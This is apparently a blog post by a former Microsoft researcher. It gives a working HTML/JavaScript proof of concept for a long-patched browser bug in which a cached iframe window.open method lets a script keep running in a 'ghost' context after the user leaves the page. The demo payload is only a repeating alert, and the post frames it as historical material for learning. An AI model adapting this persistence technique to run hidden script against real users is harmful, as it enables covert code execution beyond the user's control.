I was looking at what happened when you cached method references from iframe contexts rather than document objects. It turned out that grabbing the window.open method from an iframe and stashing it in window.opener before reloading the page produced a “resident” open method — one that would keep working even after the iframe it came from had theoretically been destroyed. The loaded file could then keep running its own script interval indefinitely, surviving navigation away from the original page.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Resident_CachedWindowOpen_GetIframe</title></head>
<body>
<font face="Tahoma" size="2">
<center>
<h2>Resident_CachedWindowOpen_GetIframe</h2>
</center>
<hr />
1) Cache the window.open method from an IFRAME in the opener of the main page.<br />
<font color="red">opener</font> = <font color="blue">ifr.open</font>;<br /><br />

2) Reload the main page, killing -in theory- that IFRAME and all it's methods.<br />
<font color="blue">location.reload()</font>;<br /><br />

3) Use the cached open method to open a new URL in that vanished IFRAME.<br />
<font color="blue">cachedWindowOpen</font> = <font color="red">opener</font>;<br />
<font color="blue">cachedWindowOpen</font>("residentfile.html","_self");<br /><br />

4) That's it. Now you will see the alert from residentfile.html, even if you change to another URL.<br /><br />

<hr />
<iframe name="ifr"></iframe>

<script language="JavaScript">
if (!window.opener)
{
	opener = ifr.open;
	location.reload();
}
else
{
	cachedWindowOpen = opener;
	cachedWindowOpen("residentfile.html","_self");
}

</script>
</body>
</html>

residentfile.html (loaded into the ghost iframe):

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Resident_CachedWindowOpen_GetIframe</title></head>
<body>
<script language="JavaScript">
setInterval("alert('I am Here...')",4000);
</script>
</body>
</html>

The trick is that ifr.open — the window.open bound to the iframe’s window context — is not properly invalidated when the parent page reloads. By saving it into window.opener before the reload, it is preserved across the navigation. After the reload, invoking that cached method with _self as the target causes residentfile.html to load inside the now-invisible ghost context of the old iframe, where its setInterval keeps firing regardless of what the visible browser window is doing. It is essentially a way to keep a script alive after the page has been left.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.